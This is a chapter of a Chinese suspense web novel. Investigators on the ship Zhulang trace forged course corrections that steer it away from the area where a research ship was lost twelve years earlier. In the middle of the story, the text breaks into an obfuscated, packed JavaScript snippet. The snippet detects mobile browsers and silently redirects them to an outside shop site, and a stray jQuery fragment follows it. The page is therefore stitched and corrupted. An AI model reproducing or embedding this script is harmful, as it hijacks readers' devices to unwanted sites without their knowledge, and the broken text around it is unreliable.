“清羽……”
声音只出现了一瞬。
夏清羽猛地抬头。透明袋里的水晶碎屑已经重新暗了下去,仿佛刚才那声呼唤只是她的错觉。
乔妮也听见了。
她脸上的面膜还没揭,眼睛已经睁圆。
“刚才那是……”
“我妈妈。”
夏清羽取出刚才收集的红褐色碎屑,更奇怪的是,盒底残留的黑色细沙,并不属于逐浪号当前航行的这片海域。
夏清羽看了很久,忽然起身。
“你去哪儿?”
“查航线。”
“江星野不是不让你参与吗?”
夏清羽拿起外套。
“他只带走了盒子,没带走我的脑子。”
——
医务室的门重新反锁。
江星野将透明袋放到离线检测灯下。
何知遥看着那枚碎片。
“夏清羽碰过吗?”
“没有。”
“你确定?”
“确定。”
何知遥没有再问。
江星野调低灯光,模拟刚才出现过的短暂电流波动。
第一次,没有反应。
第二次,碎片深处浮出一线极淡的蓝。
杂音从离线设备中传出来,像海水撞击船体。随后,是一个女人断断续续的声音。
“清羽……”
“不是这里……”
“不要跟着……”
杂音突然加重。
最后几个字被切得支离破碎。
“航线……”
蓝光熄灭。
何知遥盯着黑下去的屏幕。
“她说的是远星号,还是逐浪号?”
江星野没有回答。
他把盒子里那张损坏的存储片接入离线设备。
大量残缺记录跳上屏幕。
何知遥一行行向下翻,脸色逐渐沉下来。
“这是远星号最后三天的航行记录。”
“能恢复多少?”
“不到三成。”
“够不够对照?”
何知遥抬眼。
“看完才知道。”
十分钟后,两条航线同时出现在屏幕上。
远星号十二年前驶向东南。
逐浪号如今却在一点点偏向相反方向。
何知遥放大最近三天的记录。
“每次只偏一点,看起来都像正常修正。但连续三天,我们已经绕开这里。”
江星野抬手,在屏幕上圈出一片空白的海域。
“有人带我们去错误的地方。”
何知遥盯着屏幕,没有立刻接话。她把三天内所有航向修正逐一展开。
每一道指令都很正常。避开暗流,修正风向,绕过海底断层。理由充分,时间准确,甚至连负责人的电子签名都没有问题。
江星野看了片刻。
“把修正前的航线恢复出来。”
何知遥敲下几行指令。
屏幕上的航线缓慢退回原位。
第一次修正前,逐浪号原本向东偏了两度。
第二次修正前,探测设备刚刚收到一组模糊信号。
第三次,则是在何知遥进入信息舱前半个小时。
何知遥将三个位置同时标出。
三条短线向外延伸,最后指向同一个方向。
“不是带我们去某个地方。”她说。
江星野望着屏幕上被绕开的海域。
“他只是在确保我们离这里越来越远。”
何知遥放大地图。
空白区域边缘出现了一圈零散的探测记录。
数据都不完整。有些只剩时间,有些只留下一串无法识别的杂音。每当系统捕捉到类似信号,航线便会在十分钟内发生微调。
好像有人守在那里。只要逐浪号稍微靠近,便立刻将它推开。
何知遥皱眉。
“这些修正指令来自不同账号。”
江星野看向她。
“有哪些人?”
“船长、设备组、信息组。”她顿了一下,“还有你。”
江星野神色未变。
“指令不是他们发的。”
“但系统验证全部通过。”
何知遥调出其中一条。
发布人的名字是祁越,授权时间却在凌晨三点十七分。
那晚祁越参加完欢迎宴,醉得被人扶回房间,根本不可能进入控制室。
“对方不是偷到了一个人的权限。”何知遥低声道,“他能使用所有人的身份。”
江星野的目光落在那片空白海域上。
“继续往前查。”
“查什么?”
“远星号。”
何知遥动作一顿。
她调出盒子里恢复出的旧航行记录,与逐浪号的路线叠在一起。
屏幕上很快出现两条不同颜色的线。
十二年前,远星号进入这片海域后,也曾连续三次改变方向。
每一次偏移都很小。
理由也各不相同,避开风暴,设备出现故障,有的记录里甚至没有写明原因。几次修正之后,远星号离开原定航线,驶向后来公布的失事海域。
何知遥脸上的血色一点点褪去。
“十二年前,也有人改过远星号的航线。”
江星野没有说话。
两艘船。
相隔十二年。
却在接近同一片海域时,被同样的方式一点点推向错误方向。
何知遥忽然放大远星号第三次转向前的记录。那段数据损坏得很严重,只能看见一个短暂出现的坐标。它与逐浪号这三天反复绕开的区域,几乎完全重合。
“找到了。”
她声音很轻。
江星野看向那个坐标。
“这不是沉船公开的失事位置。”
“相差四十多海里。”
何知遥把两个位置同时标在地图上。
一个是所有人都知道的远星号失事海域。
另一个,是被两艘船同时绕开的空白区域。
江星野看了很久,忽然问:
“如果这里才是远星号原本要去的地方,为什么十二年前的人要把它改走?”
“也许有人不想让夏岚到达那里。”
“那现在呢?”
何知遥抬起头。
逐浪号已经被引向另一个方向。
可与此同时,属于远星号的存储盒、夏岚的水晶碎片,又被送到了夏清羽手里。
一个人在阻止他们靠近。
另一个人却像在不断留下线索。
“内鬼可能不止一个人。”何知遥说。
江星野摇头。
“也可能是同一个。”
“什么意思?”
“他不想让逐浪号现在过去。”
江星野指尖落在空白坐标上。
“但他又需要我们知道,这个地方存在。”
何知遥沉默片刻。
“他在控制进度。”
“对。”
不是隐藏。
不是阻止。
而是像放线一样,让他们一点点接近真相,却始终走在对方安排好的路线里。
何知遥忽然想起什么,重新打开盒子里的旧记录。在第三次转向之后,远星号曾向岸上发送过一条消息。
内容已经损坏,只恢复出六个字。
【目标未被激活。】
何知遥盯着那行字。
“他们当年不是去找沉船。”
江星野眸色渐深。
“他们是在等某样东西醒过来。”
就在这时,门外忽然传来一声极轻的碰撞,好像有人不小心碰到了墙边的金属推车。
两个人同时抬头。
何知遥立刻关掉屏幕。
江星野走到门边,没有马上打开。
门外安静得没有一丝声音。
他等了几秒,猛地拉开门。
走廊上空无一人。
只有尽头的安全门还在缓慢晃动。
有人刚刚来过。
而他们已经听见了最不该被第三个人听见的那句话——
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17789432|210321||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
远星号真正寻找的东西,可能还在海底等着被唤醒。
江星野追到安全门外。
楼梯间里只剩下尚未散尽的脚步声。
很轻,也很快。
他往下追了一层,转角处却空无一人。只有一扇通往生活区的门缓慢合上,门上的玻璃晃出一片模糊的影子。
再追已经来不及。
江星野回到医务室时,何知遥已经把所有记录重新关闭。
“看见是谁了吗?”
“没有。”
“那个人听到了多少?”
“不确定。”
何知遥脸色不太好。他们原本还想暗查。现在,对方可能已经知道,他们找到了那片被绕开的海域。
门外再次传来敲门声。
这次两个人都没有动。
敲门声停了几秒,又响了两下。
“江星野。”
是夏清羽。
何知遥看向他。
“她怎么来了?”
江星野打开门。
夏清羽站在外面,手里拿着母亲留下的旧照片和一只透明样本袋。
她看了一眼楼梯间。
“刚才有人从这里跑过去。”
“看清了吗?”
“没有,只看见穿着深色工作服的人。”
船上大半工作人员都穿深色工作服,等于什么都没看见。
何知遥明显不想让她进来。
“你来做什么?”
夏清羽没有理会她语气里的防备,直接把样本袋放到桌上。
“盒子底部留下的东西。”
里面装着几粒极细的黑色沙砾。
何知遥看了一眼。
“这能说明什么?”
“说明盒子不是从我们现在这片海域捞出来的。”
房间里安静了一瞬。
夏清羽展开那张远星号的旧照片。照片里,夏岚站在甲板上,脚边放着一只透明采样袋,袋子里装着同样的黑色细沙。
“这是我母亲失踪前最后一次带回家的样本。”
她的手指落在照片背面一行已经褪色的小字上。
“她当时写过,这种沉积物只出现在更深的海沟。”
何知遥看向江星野。江星野重新打开地图,把刚才圈出的空白区域调出来。
“能判断大致方向吗?”
夏清羽对照照片上的记录,指向屏幕。
“东南。”
正是那片被逐浪号连续绕开的区域。何知遥沉默下来,她不信任夏清羽,可证据不会因为信任而改变。
“盒子来自这里。”夏清羽说。
“未必是远星号沉没的位置。”何知遥仍旧谨慎。
“但一定有人去过。”
夏清羽看向她。
“否则,一只在海底泡了十二年的盒子,不会自己出现在逐浪号上。”
江星野把远星号与逐浪号的航线同时留在屏幕上。两艘船相隔十二年,却在接近同一个坐标时被强行改道,而那只属于远星号的盒子,又从那片海域被带了回来。
夏清羽盯着空白区域。
“我们不能继续按现在的航线走。”
“暂时必须继续。”江星野说。
她转头看他。
“对方已经发现我们在查,突然改向,只会告诉他我们找到了。”
何知遥接过话。
“先让他以为,我们什么都没发现。”
夏清羽看着屏幕,没有立刻答应。十二年来,她离母亲最近的一次,可能就在那片海域。可现在,她必须装作不知道。
江星野忽然放大一条旧记录。
盒子被打捞后的时间标记,出现在六个月前。
夏清羽呼吸微顿。
六个月前。
那时逐浪计划甚至还没有正式公布。
江星野看着那串日期。
“这不是有人临时发现了远星号。”
“是有人早就知道它在哪里。”何知遥低声说。
夏清羽望向那片黑色海域,所以这次科考从来不是寻找。
是重返。